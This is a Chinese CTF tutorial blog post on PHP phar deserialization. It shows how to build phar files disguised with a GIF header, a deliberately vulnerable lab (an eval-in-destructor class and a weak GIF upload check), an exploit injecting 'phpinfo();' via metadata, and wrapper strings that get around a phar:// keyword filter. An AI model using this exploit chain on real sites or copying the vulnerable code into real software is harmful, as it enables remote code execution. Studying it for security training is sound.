CTF Web安全

PHP phar反序列化

Posted on 2020-01-02,6 min read

phar介绍

phar反序列化是利用phar://伪协议配合其他条件。进行反序列化
phar归档文件主要是用来将多个文件归档到一个文件。和压缩文件差不多。然后通过phar协议去解析文件

phar文件格式
stub:phar文件标识

格式为xxxxx<?php __HALT_COMPILER();?>
前面内容不限,必须以<?php __HALT_COMPILER();?>结尾,这个主要是为了能让phar识别phar文件
由于前面文件头可以是任意字符串。那么我们就可以构造GIF文件头或其他的文件头。伪造文件类型。绕过上传限制。并且由于结尾没变。还能被phar解析


a manifest describing the contents

phar文件本质上是压缩文件。文件的权限、属性等信息都放在这部分。
这部分还会以序列化的形式存储用户自定义的meta-data,这个和我们的phar反序列化密不可分。
自定义meta-data,传入危险函数。就会造成代码执行```

the file contents

被压缩文件的内容

signature
文件的签名内容
实验
根据文件结构。我们来自己构建一个phar文件。php内置了phar类。
在开始前。我们需要将php.ini中的phar_readonly设置为off
并且。确定目录是否有写权限。

<?php
    class test {
    }
    @unlink("test.phar");
    //自动删除。上一次的test.phar
    $phar = new Phar("test.phar"); 
    //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); 
    //设置stub
    $o = new test();
    $phar->setMetadata($o); 
    //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); 
    //添加要压缩的文件,可有可无
    $phar->stopBuffering();
    //签名自动计算
?>

通过Web访问php页面。成功生成phar文件,这里没有任何伪装。phar格式

下面生成一个GIF文件类型的phar文件

<?php
    class test{
        var $output='';
    }
    @unlink("test.phar");
    $phar = new Phar("test.phar"); 
    //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); 
    //设置stub,这里。我们将GIF89a,GIF文件头加上了
    $o = new test();
    $o->output='phpinfo();';
    $phar->setMetadata($o);
     //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); 
    //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

访问php页面。成功生成了GIF类型的phar文件

漏洞利用
这个漏洞。利用条件有三个
1.需要有反序列化的操作。
php的大部分文件操作函数。都能通过phar://伪协议解析phar文件。将meta-data反序列化

2.phar文件需要上传或其他手段。放到对方本地上
3.需要类的魔法函数和危险函数
比如类析构函数自动调用eval函数。而eval函数内的参数可控。
下面就来做个实验。
环境如下:
文件上传。只能上传GIF后缀文件
输入文件名判断是否存在。存在就调用类
类有一个析构函数。调用类自动执行eval函数

index.php
<?php
$file=$_GET['file'];
class test{
	var $output='echo "ok";';
	function __destruct(){
		eval($this->output);
	}
}
$a=new test();
if(file_exists($file)){
	$a=new test();
}else{
	echo 'file not exists';
}
?>
upload.php
<?php
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"], strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
    echo "Upload: " . $_FILES["file"]["name"];
    echo "Type: " . $_FILES["file"]["type"];
    echo "Temp file: " . $_FILES["file"]["tmp_name"];

    if (file_exists("upload_file/" . $_FILES["file"]["name"]))
      {
      echo $_FILES["file"]["name"] . " already exists. ";
      }
    else
      {
      move_uploaded_file($_FILES["file"]["tmp_name"],
      "upload_file/" .$_FILES["file"]["name"]);
      echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
      }
    }
else
  {
  echo "Invalid file,you can only upload gif";
  }
?>
upload.html
<html>
<body>
<form action="/phar/upload.php" method="post" enctype="multipart/form-data">
    <input type="file" name="file" />
    <input type="submit" name="Upload" />
</form>
</body>
</html>

首先。我们伪造一个GIF头的phar文件。然后改名为test.gif

<?php
class test{
    //要和index.php的类名一样
    var $output = '';
}
$phar = new Phar('test.phar');
$phar -> stopBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar -> addFromString('test.txt','test');
$object = new test();
$object -> output= 'phpinfo();';
//写入我们的恶意代码
$phar -> setMetadata($object);
$phar -> stopBuffering();


然后。利用phar://伪协议访问,成功执行phar文件内的恶意代码

Bypass
如果过滤了phar://关键字。那么可以通过
php://filter/resource=phar://upload/xxxxx.jpg
compress.bzip2://phar://upload_files/phar.gif
gzlib:phar:///xxxxx.jpg
来进行绕过

下一篇: Xctf Final→